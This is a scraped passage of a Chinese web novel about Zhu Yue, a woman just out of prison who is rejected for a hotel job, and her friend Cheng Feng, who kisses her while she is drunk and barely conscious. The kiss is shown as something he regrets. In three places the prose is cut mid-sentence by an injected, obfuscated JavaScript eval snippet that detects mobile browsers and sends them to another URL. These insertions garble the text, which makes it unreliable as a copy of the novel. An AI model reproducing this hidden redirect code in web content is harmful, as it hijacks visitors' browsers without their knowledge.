程峰跟到门口,觑了眼她神色才说,“自己小心点,注意安全。” “该怕的是别人吧……” 竺月嘴角一哂,反手关上了房门。 屋里很快安静下来,只有阵阵蝉声从窗外传来,却衬得房间愈发静谧。 程峰在门口站了会儿,直到再也听不见外面的脚步声,他肩膀耷拉下来,转身回了厨房…… 烈日炎炎,路边的空调外机不断向外发散热气,整座城市热得像蒸笼。 路上行人寥寥,沿街店铺都关上了玻璃门,除了还在忙碌的餐饮业,一些服装店直接挂上‘店主外出’的提示牌。 临街的星光宾馆这会正是退房小高峰。 正忙得不得开交的前台小妹听说有人要应聘,连忙把在后面吃饭的老板娘叫出来。 闻讯而来的老板娘自上而下打量着竺月,圆润的脸上霎时溢出笑,“招啊招啊,我们招前台。” 自从上一个前台离职后店里就一直缺人,老板娘为此正发愁。 倒不是没人来应聘,只是之前来的几个都不符合她标准。 要么长得一般撑不起门面,要么性格太跳脱定不下心,老板娘看竺月年纪不大,身上却有种少见的沉稳,长得也漂亮,只觉十分满意,当场就把店里的情况和她说了下。 “……大概就是这样,我们三个人,刚好三班倒,一天上八个小时,一个月休息四天,工资三千五,转正后加提成能有个四千五,待遇绝对可以。” “包吃住吗?”竺月问。 “包的,我们店里有阿姨做饭,”老板娘笑道,“楼上有宿舍,现在就小何一个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16660840|188427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住,你之前做过前台吗?” “没有。”竺月有些不好意思,“我只在厂里上过班。” “没关系。”老板娘爽快道,“你跟着小何学一下,很快就上手了,主要就是给顾客登记入住,退房,我们还有三个阿姨,顾客要送东西通知阿姨。” 竺月刚才去了几家餐饮店,相比之下,这家宾馆的待遇确实算是最好的,包吃包住,工作环境不错,老板娘看着也很好相处…… 有了早上的教训,竺月脸上并没表现出来,她双手递上自己的简历,“那……入职需要哪些材料?” 语气微微带了丝不确定。 “入职材料?” 老板娘和旁边叫小何的前台小妹相视一眼,随即接过她简历笑道,“我们小宾馆没那么多讲究,身份证复印一份,银行卡号给我,到时候给你发工资就行了。” 没找她要无犯罪记录证明…… 竺月心口一松,终于轻弯了下唇,“工资会准时发吗?” “当然,每月二十号准时发。”一旁小何忙得差不多,也笑着搭话,“我们老板娘还挺好的,我在这上了两年班,从来没拖欠过工资。” “就你会说话。”老板娘笑着看向竺月,“不过我们这没有五险一金,实发多少就是多少。” 大约怕竺月不想来,她笑道,“节假日可能会忙点,不过三倍工资和十三薪没问题的。” “那倒不是问题。”竺月回以一笑,“什么时候能上班?” “现在就可以。”老板娘指了指后面,“吃饭没?要不要吃饭先?” 经历了老家的人情冷暖,竺月愈发觉得她十分热心,笑容也暖煦几分,“吃过了。” “你看,小姑娘就是要多笑嘛,笑起来多漂亮。”老板娘打趣她。 竺月面色微窘,“我快三十,不小了。” 说着递上自己的临时身份证。 “是吗?”老板娘接过她身份证,一边低头看她简历,“名字挺好听的,看不出你都二十九岁了,我还以为你刚毕业呢……结婚了呀,有孩子吗?” 说者无意,听者有心,竺月笑容微僵,“有……” 迎着老板娘询问的视线,她鼻头一酸,“没留住……” “不好意思啊。”老板娘面上掠过一丝不忍,拍了拍她肩膀,“没关系,你还年轻,以后还有机会。” 竺月简历上的婚姻状况填的是已婚,蒋庆明死了,她也没打算再找。 至于孩子…… 想起早夭的女儿,竺月心头一刺,估计她这辈子都不会再有孩子了。 大约怕触痛她伤心事,老板娘换了个话题,“你老公对你挺好的,看你好像好几年没上班了。” 拉回了竺月的思绪,她恍惚抬头,就见老板娘指着她工作履历最下面的空白部分,“有六七年了呢,都在家吗?” 竺月:“……” 望着老板娘和善的笑脸,竺月轻咬了下牙,“不是。” “没事没事,在家里久了出来先适应一下。” 老板娘拍了拍她肩膀,又吩咐小何,“你帮她把身份证复印一下,对了你手机号多少我保存一个?” 见竺月没说话,以为她还有顾虑,她笑着安抚她,“你放心,我们这的人都挺好相处的,要是家里临时遇到什么难题,调个班什么的也好商量。” 越是如此,竺月心里越不安。 她垂在身侧的手轻轻攥紧,终于抬头看向老板娘,“对了,有件事,我可能要和您说实话。” 老板娘:“?” 竺月缓缓开口:“我之前,在监狱里待了几年。” …… 18. 第 18 章 @晋江原创@ “我个人真的挺想用你的,但咱们旅馆业都是连着公安网的,坐了几年牢,那你这犯的事,应该算刑事案件了吧……” 看着老板娘那张勉强带笑的脸,竺月垂下眸,“没事,我理解。” 虽然坦白之前想过这个结果,但心中还存了一丝希冀,只是…… 竺月自嘲一笑,算了,何必让人家为难。 老板娘一脸惋惜地叹了口气,“抱歉啊,或许你去其他家看看。” “嗯,谢谢。” 竺月从她手里接回自己的身份证和简历,冲老板娘轻点了下头,转身朝店外走去。 还没走到门口,隐约听见后面传来两人的嘀咕声。 “真是人不可貌相,看着挺正常一女的,居然坐过牢。” “是啊,我一开始也没想到,还说挺稳重的。” “还好问了嘴,万一招进来才发现有过案底,那不就……”小何心有戚戚,“你说她这么年轻,怎么会坐牢呢?是抢劫?偷盗还是什么?” 老板娘忙活半天竹篮打水一场空,不由没好气瞪了她一眼,“鬼知道是什么,能进监狱的,哪会有什么好事?” 小妹还在好奇,“长得这么漂亮,会不会是在那种地方上班——” 竺月脚步一顿,听见老板娘低斥了声,“别乱说,有客人在,咱们可是正规住宿。” 这是把她当成卖Y女了? 竺月想起昨天回老家时大伯和那些邻居的反应,心下微哂,也就不了解情况时才会带着善意和热情吧。 一旦知道她经历的那些…… 刺眼的阳光迎面照在脸上,竺月木然推开了玻璃门。 另外一边,程峰也没在家闲着。 竺月出去后,他先是跑了趟中心商场,之后又去了小区附近的手机卡营业厅。 营业员得知他要给家人办一张手机卡,便推荐他不如用自己的手机号再办一张副卡。 “……跟你这个主号绑定在一起,每个月都可以共享你这个号码里的流量套餐和通话分钟,相当于用你这个大号养着,也不用额外交话费了。” 闻言,程峰几乎不假思索:“可以,那就办张副卡。” 营业员看他手里提满购物袋还拿着一个新手机盒,便朝他伸手,“手机给我吧,其他东西可以先放椅子上。” 程峰放下手里的购物袋,“谢谢,帮我直接把卡装进去就行。” 营业员接过手机,微笑应了声“好。” “开卡后套餐马上生效吗?”程峰问,“要不要再另外充话费?” “不用。”营业员笑了笑,“和正常手机一样用就行了,看这款式……是给女朋友的吗?” 程峰没吱声,小麦色的俊脸却微微泛红。 见状,营业员揶揄一笑,“还挺贴心的,又是买衣服又是买手机,连卡都一起办了。” 她声音不小,营业厅其他人都朝这边看来,旁边两个办业务的女孩还一脸艳羡,程峰低了低头,耳朵都快烧起来了。 好在营业员打趣归打趣,动作倒是很快,三两下就把手机卡装进去。 “套餐从今天开始生效,如果流量不够用,到时可以再办个补充包,您看需要现在给您开通吗,一个月加30G流量,只要多二十九元。” “那就开通吧。”程峰不以为意,竺月要找工作,家里没有无线网络,流量肯定要多用些。 “好的,那我这边开通,费用直接从您的主卡扣哦。” “嗯。” 之后营业员又交代了一些后续注意事项,程峰一一记下。 办好卡,程峰又去市场买了些东西,到家已经五点多了。 手里提满了袋子,他勉强空出手掏钥匙。 “吱嘎”一声,一阵热风随着开启的防盗门涌了出来。 程峰:“我回来了。” “……” 屋里空荡荡的,无人应答。 程峰低头看向鞋架,竺月中午换的凉拖还放在第二层,显然人还没回来。 他敛起笑容,回头看了眼楼梯方向,才提上东西进门。 橙色的霞光透过窗棂倾泻而下,给客厅镀上一层薄薄的光辉。 阳台上的太阳花在飞舞的尘埃中轻轻摇晃。 竺月已经走了一下午了。 程峰把新买的蔬菜水果放进冰箱里,又把几个购物袋提到里面房间……外面还是没有任何动静。 竺月没有手机,口袋里也没带钱…… 程峰心里一阵焦急,放下东西直直朝门口走去—— 手即将碰到门把时,他停住了。 中午两人的对话在耳边回响,她说她会回来的。 程峰抬头看了眼墙上钟表,想起她不耐的表情。 探出的手虚握成拳,又收了回来。 他苦笑了声。 算了,先做个饭吧,一会她回来该饿了…… 然而直到程峰做完三菜一汤,竺月还一直不见人影。 外面天色渐渐暗了下来,暮霭沉沉,一群黑色的鸟儿扑扇着翅膀掠过天际。 程峰再也等不下去,拿上钥匙快步出了门。 正是晚饭节点,家家户户都亮起了灯,几乎没什么人在外面。 空气中还充斥着白日里的暑气,和着阵阵未褪的蝉声扰得心绪更加焦躁。 程峰三步并做两步冲下楼。 高大的身影一阵风似的掠过楼道,几乎拿出平常训练的速度,直直朝生锈的大铁门奔去。 然而还未走到小区门口,他的脚步突然停了下来。 正是傍晚时分,夕阳的余辉给老旧的楼房镀上一层淡薄的光,晚霞透过树枝缝隙洒下,印出片片斑驳的光影。 衬得不远石凳上的那道身影愈发不真实。 程峰:“竺月……” 地上散着两三根烟头,竺月指间还夹着一根,白雾自猩红的火光中袅袅散开,他看不清她脸上的神色,却感觉有萧条而苍凉的暮色笼罩在她身上。 像一道无形的围墙,隔开了外界的一切,独独将她困在其中。 程峰的脚步慢了下来…… 路灯昏暗,在地上曳出一道黑色长影。 被挡住视线的竺月缓缓吐出一口烟雾,放空的大脑渐渐回归现实。 抬头,目光沿着一双穿着黑裤的长腿往上,掠过藏蓝色的T恤,最后落在那张熟悉的脸上。 “你来啦……” 她叼着烟,笑得漫不经心。 程峰提了半天的一颗心终于落回原处。 “怎么不回去?” 回去,回哪儿? 那是他的住处。 如果找不到工作,难道要一辈子靠他救助…… 竺月长长吸了口烟。 程峰在她身旁默然坐下,嘴唇动了动,却不知道该说什么。 他看出她心情很差,尽管她脸上挂着笑。 目光轻轻落她脸上,他尽量放缓语气,“是不是——” “有酒吗?” 竺月打断了他。 程峰:“……” 苦涩的尼古丁气息扑面而来,雾气之后,是她若无其事的笑脸。 “我好不容易出来了,不该庆祝一下吗?” …… 因为竺月这句话,程峰又跑了趟超市。 玻璃瓶装的鸡尾酒口感清爽,微甜,气泡感明显,但竺月还是更喜欢辛辣的易拉罐装啤酒。 她喝酒比她抽烟更猛。 仰脖一口接一口的灌,不要命似的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16660841|188427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程峰实在看不下去,伸手抢过她手里的瓶子,“少喝点。” 她晚饭没吃几口,酒已经喝了这么多。 程峰明天就要回队了,一周后才能再回来。几天不见,他心里不舍,也放不下。 他知道她心里难受,却不知道该怎么安慰她? 现实太残酷,语言又太苍白。 只能像小时候一样陪着她,看着她发泄。 “程峰你可真小气。” 竺月挣了一下,没能把酒瓶抢回来。 气得捶了他一拳,“就几瓶酒也不让我喝。” 她看着瘦,力气却不算小,程峰默默捱了,依然将酒瓶拿得远远的。 “你喝多了。” 竺月嘁了一声,扶额靠向沙发,“才喝多少,一点都不够味。” 她脸都红了,思绪也逐渐恍惚。 想起高中毕业那年暑假,他们一大班同学大晚上的带着啤酒去山上露营。 那时她其实已经很确定自己上不了大学了。 父母两人谁也不愿意再负担她的学费,她也不想再低声下气地找他们要钱。 想着不如早早出去打工。 只是,心里到底还是有些不甘呢…… 那天晚上大家开怀畅饮,谈笑风生,言语间既有对高中生涯的不舍,也有对未来大学的向往。 她没怎么参与,只对着近在头顶的那弯月亮一口接一口地喝…… “你说,如果我当时去上了大学,是不是……就不会沦落成这样了?” 程峰无言,看向她的眼中却藏着心疼。 竺月没看他。 她脸颊酡红望向天花板,迷离的神情有种自说自话的天真。 “可惜……后悔也没用了。来不及了,怎么改造?怎么重新做人呢?人家都不要我,一听我坐过牢,躲都来不及……” “不会的。” 程峰心头一阵酸楚,对上那双迷惘的眼睛,他耳垂一烫,有些生硬地说,“总会找到合适的工作。” “是吗?”竺月自嘲一笑。 五年刑罚就像烙印一样盖在她身上,估计这辈子都摆脱不了了。 “程峰,你说实话……”她低笑了声,身体朝他凑了过来。 淡淡的洗发水夹杂着一股烟草气息在鼻间掠过。 “什,什么?”程峰心跳不自觉快了几拍,耳垂微微发烫。 竺月咯咯笑了起来,“是不是,你也挺看不起我的?” 程峰:“?” 屋里的灯光有些暗,竺月眯着眼,本想看清他脸上的神色,身体却不听使唤,软趴趴扑了过去。 空气突然在这一刻凝住。 细软的身体直直跌入程峰怀里。 果酒的甜香混合着她身上的馨香扑鼻而至…… 程峰手里还握着酒瓶,身体却瞬间僵住。 “不,不会啊……” 两人从来没有离得这么近过。 程峰心脏跳得飞快,虚虚扶着她,整个人几乎不敢动弹。 “真的不会?” 竺月在他怀里仰头,她的脸很红,漆黑的瞳仁却异常晶亮。 目光在他脸上扫视而过,像是终于确定了似的。 她轻笑了声,语气娇憨,“是啊,你可是我最好的弟弟……” 四目相对,程峰滚了滚喉结,耳尖红得几乎要滴出血。 竺月…… 压抑的目光不自觉落向她颜色寡淡的唇瓣上。 她就在他怀里,触手可及。 意识到这点,他年轻的身体一阵滚烫,绷紧的臂肌硬得像石块。 她的脸如同她送他的太阳花一样,在他眼前绽出迷人的光。 终于,程峰如同被蛊惑了一般,慢慢低下了头…… 19. 第 19 章(V前公告) @晋江原创@ “噗通,噗通……” 程峰心跳如擂鼓,从来没有这么激越过。 两人的距离越来越近,近得他可以清晰闻见她身上的气息。 微醺的酒味、尼古丁的辛辣,以及她身后那股若有似无的幽香。 所有的一切交杂在一起,矛盾,又无比诱人…… 终于,他碰到了那两瓣柔软的唇。 呼吸仿佛在这一刻停住,他低着头,双手紧握成拳,精瘦的手臂绷出肌肉的线条。 曾在他少年时光幻想过无数次的场景,在这一刻触不及防实现了。 像做梦一样,美好地都有些不真实。 曾经只能偷偷看着的人,现在就躺在他的怀抱里,呼吸和他的交融在一起。 程峰睫毛轻颤,缓缓覆了下来。 好一会儿,就那么僵硬无比地贴着她的唇,几乎动都不敢动,生怕睁眼之后,一切都是幻觉。 竺月已经喝高了,整个人软软靠在他怀里,半阖的眉眼被一片阴影挡住。 “唔……” 她轻哼一声,眼皮撑不住了,脑袋也开始往下掉。 一只大手及时托住了她后脑勺。 竺月大脑昏沉沉的,一只手无意识地抵住眼前那片紧实的胸膛。 隔着薄薄的T恤,她略显冰冷的手和他炽热起伏的胸膛形成鲜明对比。 程峰呼吸瞬间急促了几分。 空气中的温度在不断上升,他身体紧绷,整个人热得快烧起来。 明明滴酒未沾,意识却渐渐迷离。 鼻尖充斥着她身上的气息,怀里是她纤细却柔软的身体。 所有的一切,都在引诱着程峰继续下一步。 再沉稳内敛,毕竟也才二十四岁,正是血气方刚的年纪。 身体感官传来阵阵渴望,四肢百骸叫嚣着想要得更多,一些压抑了很多年的东西在蠢蠢欲动。 竺月。 他等了那么多年、喜欢了那么多年的人。 程峰咽了咽干渴的喉头,心里的渴望战胜了一切理智。 他告诉自己,一下,就一下就好。 他缓缓低下头,薄薄的嘴唇微颤着贴住她,轻轻研磨了一下。 他从来没有和女生这么亲近过,更何况还是他心心念念的那个人。 只觉整个身体都绷紧了,心脏几乎要跃出胸腔来…… 恍惚中,竺月感觉嘴唇好像被羽毛刷过似的。 又轻,又痒。 她瑟缩了一下,下意识揪住了程峰的衣服。 程峰察觉到她的反应,他屏住呼吸,身体瞬间僵住。 两簇长而密的睫毛轻轻刷过他脸颊,挠得程峰心尖阵阵发颤。 她闭着眼靠在他怀里,脆弱又惹人怜惜的样子。 程峰心里一阵激荡,不够,远远不够…… 四唇相贴,一下,一下,又一下。 原本扣着竺月后脑勺的大手不知什么时候移到她双颊。 终于,理智被情感覆盖,他捧着她小巧的脸,笨拙而赤诚地亲了起来…… 狭小的屋里只有一台电风扇在运转,却怎么也吹不散空气里不算上升的热气。 “唔……” 竺月大脑一团浆糊,整个人被一只火炉困在中间,又闷又热,连胸腔里的氧气都被人夺走。 有什么轻而柔软的东西堵着她,让她几乎喘不上气来。 “……” 像一只濒临溺亡的鱼,她本能地挣扎了起来。 手抵在一堵坚硬的“墙”上,她用力推了推,那堵“墙”却纹丝不动。 “唔……难受……” 含糊的女声不算清晰,却如同一盆冷水,将程峰从失控的状态中瞬间浇醒。 他倏地睁开眼,看着近在咫尺的那张脸,整个人僵在原地,耳尖红得几乎能滴血。 “……呼……呼” 竺月醉眼迷离,她似乎并没有意识到发生了什么,只是张着嘴大口呼吸着得之不易的新鲜空气。 原本略显苍白的唇瓣此时潋滟一片,脸颊更是酡红地不像话。 程峰呆呆看着她,渐渐回归的理智让他一阵无地自容。 他竟然趁竺月喝醉偷偷亲了她…… 漫天的羞愧涌了上来,他攥紧双手,无措又窘迫。 竺月对此无知无觉,离了他身体的支撑,她低低哼了声“好困”,软软的身体便往后仰。 眼见她的头就要撞上沙发旁的木柜,程峰连忙伸手捞住她。 这一次,他双手虚握成拳,极有分寸地控制着肢体的接触。 怀里的人靠着他臂弯,乖顺又毫无防备的样子,好像无论他做什么,她都不会反抗。 她如此信任他,而他却…… 程峰整张脸烧红一片,几乎不敢看她。 竺月…… 夜深了,墙上的指针还在规律地走着,几缕夹杂着凉意的夜风穿过窗户吹进来,窗纱随风轻盈飘动。 程峰下颚紧了紧,起身一把将人抱了起来。 竺月显然已经睡着了,就是在程峰把她放到床上的那一刻都没睁眼。 程峰帮她脱了鞋子,拧了毛巾给她简单擦拭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16660842|188427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了把,然后打开空调,拉过被单盖住她腰腹。 做好这一切,他坐在床畔,目光眷恋落向那张睡颜。 竺月双眸紧密,脸颊泛红,眉间却尤带了丝怅惘。 想到她这两天的遭遇,程峰只觉心疼不已。 明明想要重新开始,为什么都不给她机会? 明明她也是受害者,为什么受苦受罪的只有她…… 放在床畔的手紧了紧,他抬手轻柔拂过她眉心那丝皱褶。 “不然……我养你好不好?” “……” 屋里落针可闻,只有墙角空调发出嘶嘶细微的排风声。 程峰眸光专注看着她,声音沙哑,“可不可以不要走?” “……” 想起她昨天在奶茶店叫他“弟弟”的语气,他心里苦且涩,“我长大了……不想当你的弟弟……” “……” 床上的人依然安静沉睡着,并没有回应。 程峰的眸光沿着她小巧的鼻头缓缓落向那两瓣淡色的嘴唇。 他从来没发现,原来自己也这么贪心。 一旦尝过滋味,就会越来越欲罢不能。 甚至只要靠近她一些,身体就会不受控制…… 队里都是年轻男孩,偶尔大家开开荤段子,他这个副站长也只当听听就过。 之前听他们调侃新婚的同事,他也没什么感觉。 还以为这些年自己已经无欲无求了。 程峰低头看了眼,不由无声苦笑。 他终究也只是个普通人。 又过了会儿,身体终于随着室温缓缓平静下来。 程峰的视线再次落向床上安睡的身影。 两人认识二十几年,他已经错过了最好的时光,一座监狱,将两人生生阻绝了五年。 人生短短几十载,又能有多少个五年经得起挥霍。 他孑然一身,她是他在这世上最亲的人。 程峰轻攥了下拳,眸光逐渐坚定,她现在单身了,他可以正大光明追求她…… 他俯首,虔诚在她额头上印下一吻,“等我回来,好吗?” 睡梦中的人恍若未闻。 他给她掖了掖被角,将她冰凉的手放进被子里,垂眸定定看了她一眼,这才起身离开。 “啪”的一声,卧室里的灯灭了。 随着关上的房门,地上那道颀长的黑影也消失在门口…… 屋里一片黑暗。 几许月光透过窗纱幽洒入室,显得依稀而朦胧。 床上,原本睡着的人缓缓睁开了眼睛……